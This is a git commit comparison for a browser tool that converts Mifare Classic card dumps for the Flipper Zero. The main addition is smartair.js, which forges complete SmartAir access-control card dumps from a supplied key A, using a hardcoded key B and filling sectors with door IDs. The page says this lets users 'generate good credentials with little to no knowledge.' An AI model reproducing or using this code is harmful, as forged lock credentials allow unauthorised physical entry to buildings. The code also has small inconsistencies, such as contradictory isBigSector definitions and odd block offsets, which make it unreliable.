Compare commits
15 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ad5b51b7c2 | ||
|
|
07aed533a3 | ||
|
|
d307f4b77b | ||
|
|
611587075b | ||
|
|
5908b7217d | ||
|
|
de003634fa | ||
|
|
cceac1d1a9 | ||
|
|
490b7d66b1 | ||
|
|
00924c2f52 | ||
|
|
fae5181d50 | ||
|
|
5e7331f02d | ||
|
|
a3c0cdd6da | ||
|
|
23e53f39f2 | ||
|
|
48c85fc286 | ||
|
|
38f72a92f9 |
51
.github/workflows/jekyll-gh-pages.yml
vendored
Normal file
51
.github/workflows/jekyll-gh-pages.yml
vendored
Normal file
@@ -0,0 +1,51 @@
|
||||
# Sample workflow for building and deploying a Jekyll site to GitHub Pages
|
||||
name: Deploy Jekyll with GitHub Pages dependencies preinstalled
|
||||
|
||||
on:
|
||||
# Runs on pushes targeting the default branch
|
||||
push:
|
||||
branches: ["master"]
|
||||
|
||||
# Allows you to run this workflow manually from the Actions tab
|
||||
workflow_dispatch:
|
||||
|
||||
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
|
||||
permissions:
|
||||
contents: read
|
||||
pages: write
|
||||
id-token: write
|
||||
|
||||
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
|
||||
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
|
||||
concurrency:
|
||||
group: "pages"
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
# Build job
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
- name: Setup Pages
|
||||
uses: actions/configure-pages@v5
|
||||
- name: Build with Jekyll
|
||||
uses: actions/jekyll-build-pages@v1
|
||||
with:
|
||||
source: ./
|
||||
destination: ./_site
|
||||
- name: Upload artifact
|
||||
uses: actions/upload-pages-artifact@v3
|
||||
|
||||
# Deployment job
|
||||
deploy:
|
||||
environment:
|
||||
name: github-pages
|
||||
url: ${{ steps.deployment.outputs.page_url }}
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
steps:
|
||||
- name: Deploy to GitHub Pages
|
||||
id: deployment
|
||||
uses: actions/deploy-pages@v4
|
||||
51
.github/workflows/jekyll-gh-pagess.yml
vendored
Normal file
51
.github/workflows/jekyll-gh-pagess.yml
vendored
Normal file
@@ -0,0 +1,51 @@
|
||||
# Sample workflow for building and deploying a Jekyll site to GitHub Pages
|
||||
name: Deploy Jekyll with GitHub Pages dependencies preinstalled
|
||||
|
||||
on:
|
||||
# Runs on pushes targeting the default branch
|
||||
push:
|
||||
branches: ["master"]
|
||||
|
||||
# Allows you to run this workflow manually from the Actions tab
|
||||
workflow_dispatch:
|
||||
|
||||
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
|
||||
permissions:
|
||||
contents: read
|
||||
pages: write
|
||||
id-token: write
|
||||
|
||||
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
|
||||
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
|
||||
concurrency:
|
||||
group: "pages"
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
# Build job
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
- name: Setup Pages
|
||||
uses: actions/configure-pages@v5
|
||||
- name: Build with Jekyll
|
||||
uses: actions/jekyll-build-pages@v1
|
||||
with:
|
||||
source: ./
|
||||
destination: ./_site
|
||||
- name: Upload artifact
|
||||
uses: actions/upload-pages-artifact@v3
|
||||
|
||||
# Deployment job
|
||||
deploy:
|
||||
environment:
|
||||
name: github-pages
|
||||
url: ${{ steps.deployment.outputs.page_url }}
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
steps:
|
||||
- name: Deploy to GitHub Pages
|
||||
id: deployment
|
||||
uses: actions/deploy-pages@v4
|
||||
47
index.html
47
index.html
@@ -1,18 +1,24 @@
|
||||
<!DOCTYPE html>
|
||||
3<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<body>
|
||||
<title>Flipper <-> Mifare classic Binary coverter</title>
|
||||
|
||||
<h2>Mifare classic converter</h2>
|
||||
<p>I take absolutely no liabilty for use please verify the files yourself before writing to a card you can end up
|
||||
bricking your cards.</p>
|
||||
<script src="./script.js"></script>
|
||||
|
||||
<script src="./scripts/smartair.js"></script>
|
||||
|
||||
<script>
|
||||
let cardSize = 1024 //1k card
|
||||
let blocks = 64 // 1k card
|
||||
let filename = Date.now()
|
||||
|
||||
function updateCardSize(size) {
|
||||
cardSize = size
|
||||
blocks = size / 16
|
||||
}
|
||||
document.addEventListener("DOMContentLoaded", function (event) {
|
||||
const nfc = document.getElementById("nfc");
|
||||
document.getElementById("file-selector").addEventListener("change", (event) => {
|
||||
@@ -22,11 +28,22 @@
|
||||
filename = event.target.files[0].name.replace(".bin", "")
|
||||
const hexStr = generateNfcFromBinary(data);
|
||||
nfc.value = hexStr;
|
||||
updateCardSize(data.length)
|
||||
})
|
||||
} else if (event.target.files[0].name.endsWith(".nfc")) {
|
||||
getTextFromFile(event.target.files[0]).then((data) => {
|
||||
filename = event.target.files[0].name.replace(".nfc", "")
|
||||
nfc.value = data;
|
||||
const re = /Mifare Classic type: (1K|4K)/
|
||||
const dec = re.exec(data)
|
||||
console.log(dec)
|
||||
if (dec) {
|
||||
if (dec[1] == "1K") {
|
||||
updateCardSize(1024)
|
||||
} else if (dec[1] == "4K") {
|
||||
updateCardSize(4096)
|
||||
}
|
||||
}
|
||||
})
|
||||
} else {
|
||||
alert("Invalid file type");
|
||||
@@ -74,6 +91,17 @@
|
||||
function nfc() {
|
||||
downloadTextFile(document.getElementById("nfc").value, filename + ".nfc")
|
||||
}
|
||||
|
||||
function smartAir() {
|
||||
const nfc = document.getElementById("nfc");
|
||||
|
||||
const startSector = Number(document.getElementById("startSector").value)
|
||||
const keyA = document.getElementById("keyA").value
|
||||
const data = generateSmartAirCard(startSector, keyA)
|
||||
console.log(data)
|
||||
const hexStr = generateNfcFromBinary(data);
|
||||
nfc.value = hexStr;
|
||||
}
|
||||
</script>
|
||||
|
||||
|
||||
@@ -89,6 +117,19 @@
|
||||
<input type="file" id="file-selector" accept=".bin,.nfc">
|
||||
<br />
|
||||
<textarea id="nfc" rows="20" cols="90"></textarea>
|
||||
<br />
|
||||
<p>Custom generation</p>
|
||||
<p>What is this?</p>
|
||||
<p>This is when someone fucked up big time and let us generate good credentials with little to no knowledge
|
||||
All props goes to Miana and Micsen for their incredible research on Smartair. https://smartair.wtf</p>
|
||||
<div>
|
||||
<p>Key A</p><input type="text" id="keyA" />
|
||||
<p>StartSector</p><input type="text" id="startSector" />
|
||||
|
||||
<button type="button" onclick="smartAir()">
|
||||
Make smartAirDump
|
||||
</button>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
</html>
|
||||
|
||||
15
script.js
15
script.js
@@ -35,6 +35,7 @@ function downloadTextFile(text, filename) {
|
||||
|
||||
|
||||
function generateNfcFromBinary(data, uidLength = 4) {
|
||||
console.log(data)
|
||||
const dataLen = data.length;
|
||||
const uid = data.slice(0, uidLength);
|
||||
if (dataLen != 1024 && dataLen != 4096) {
|
||||
@@ -103,4 +104,18 @@ function printHex(data, lsbFirst = false) {
|
||||
hex += data[j].toString(16).padStart(2, '0') + " ";
|
||||
}
|
||||
return hex.trim();
|
||||
}
|
||||
|
||||
function isBigSector(sector) {
|
||||
return sector < 32;
|
||||
}
|
||||
|
||||
function getBlocks(sector) {
|
||||
if (sector < 32) {
|
||||
const s = sector * 4
|
||||
return {start: s, end: s + 3};
|
||||
} else {
|
||||
const s = 128 + (sector - 16) * 16
|
||||
return {start: s, end: s + 15};
|
||||
}
|
||||
}
|
||||
123
scripts/smartair.js
Normal file
123
scripts/smartair.js
Normal file
@@ -0,0 +1,123 @@
|
||||
|
||||
|
||||
function generateDoorSector(sector, keyA, startId) {
|
||||
if (keyA.length != 12) {
|
||||
//alert("KeyA must be 12 characters long")
|
||||
throw "KeyA must be 12 characters long"
|
||||
}
|
||||
const keyB = "e7316853e731"
|
||||
blocks = getBlocks(sector)
|
||||
const trailer = `${keyA}7f078800${keyB}`
|
||||
let id=startId
|
||||
let data = ""
|
||||
for (let i = blocks.start; i < blocks.end; i++) {
|
||||
let block = ""
|
||||
for (let j = 0; j < 4; j++) {
|
||||
const door = `${id.toString(16).padStart(4, '0')}0f01`
|
||||
block += door
|
||||
id++
|
||||
}
|
||||
//console.log(block)
|
||||
data += block
|
||||
}
|
||||
return {data: data+trailer, endDoorId: id}
|
||||
}
|
||||
|
||||
|
||||
function generateStartSector(keyA, uocBlock) {
|
||||
if (keyA.length != 12) {
|
||||
//alert("KeyA must be 12 characters long")
|
||||
throw "KeyA must be 12 characters long"
|
||||
}
|
||||
const keyB = "e7316853e731"
|
||||
const trailer = `${keyA}7f078800${keyB}`
|
||||
const uocBlockStr = `${uocBlock.toString(16).padStart(4, '0')}`
|
||||
let data = ""
|
||||
const systemID = keyA.substring(4, 12)
|
||||
data += `181e${systemID}00FAF8FF2ABC06A5002A`
|
||||
data += `BC983E4C982345AA850${uocBlockStr}000000000`
|
||||
data += "00000000000000000000000000000000"
|
||||
data += trailer
|
||||
//console.log(data)
|
||||
return data
|
||||
}
|
||||
|
||||
|
||||
function generateUocSector(keyA, startSector) {
|
||||
if (keyA.length != 12) {
|
||||
//alert("KeyA must be 12 characters long")
|
||||
throw "KeyA must be 12 characters long"
|
||||
}
|
||||
const keyB = "e7316853e731"
|
||||
const trailer = `${keyA}7f078800${keyB}`
|
||||
const doorBlockStart = `${getBlocks(startSector).start.toString(16).padStart(2, '0')}`
|
||||
let data = ""
|
||||
const systemID = keyA.substring(4, 12)
|
||||
//280{log_block_start:04x}0001E00000{door_block_start:02x}0{num_doors:04x}00000000
|
||||
|
||||
const block0 = `28000100001E00000${doorBlockStart}0034800000000`
|
||||
data += block0
|
||||
data += block0
|
||||
data += "00000000000000002DBD06A600000000"
|
||||
data += trailer
|
||||
//console.log(data)
|
||||
return data
|
||||
}
|
||||
|
||||
function fillSector(sector) {
|
||||
const key = "ffffffffffff"
|
||||
blocks = getBlocks(sector)
|
||||
const trailer = `${key}7f078800${key}`
|
||||
let data = ""
|
||||
for (let i = blocks.start; i < blocks.end; i++) {
|
||||
data+="00000000000000000000000000000000"
|
||||
}
|
||||
data+=trailer
|
||||
return data
|
||||
}
|
||||
|
||||
function isBigSector(sector) {
|
||||
return sector > 31;
|
||||
}
|
||||
|
||||
function getBlocks(sector) {
|
||||
if (sector < 32) {
|
||||
const s = sector * 4
|
||||
return {start: s, end: s + 3};
|
||||
} else {
|
||||
const s = 128 + (sector - 16) * 16
|
||||
return {start: s, end: s + 15};
|
||||
}
|
||||
}
|
||||
|
||||
function generateSmartAirCard(startSector, keyA) {
|
||||
let door = 0
|
||||
let doorSectorFrom = startSector+2
|
||||
let uocBlock = getBlocks(startSector+1).start
|
||||
let dat = ""
|
||||
for (let i = 0; i < 40; i++) {
|
||||
if (i == 0) {
|
||||
//Header block...
|
||||
dat += "968B54145D880400C844002000000018"
|
||||
dat += "00000000000000000000000000000000"
|
||||
dat += "00000000000000000000000000000000"
|
||||
dat += "FFFFFFFFFFFFFF078069FFFFFFFFFFFF"
|
||||
} else if (i == startSector) {
|
||||
dat += generateStartSector(keyA, uocBlock)
|
||||
} else if (i == startSector+1) {
|
||||
dat += generateUocSector(keyA, doorSectorFrom)
|
||||
} else if (i >= doorSectorFrom) {
|
||||
const {data, endDoorId} = generateDoorSector(i, keyA, door)
|
||||
dat += data
|
||||
door = endDoorId+1
|
||||
} else {
|
||||
dat += fillSector(i)
|
||||
}
|
||||
}
|
||||
var bin = new Array();
|
||||
for (var i = 0; i < dat.length / 2; i++) {
|
||||
var h = dat.substr(i * 2, 2);
|
||||
bin[i] = parseInt(h, 16);
|
||||
}
|
||||
return new Uint8Array(bin)
|
||||
}
|
||||
Reference in New Issue
Block a user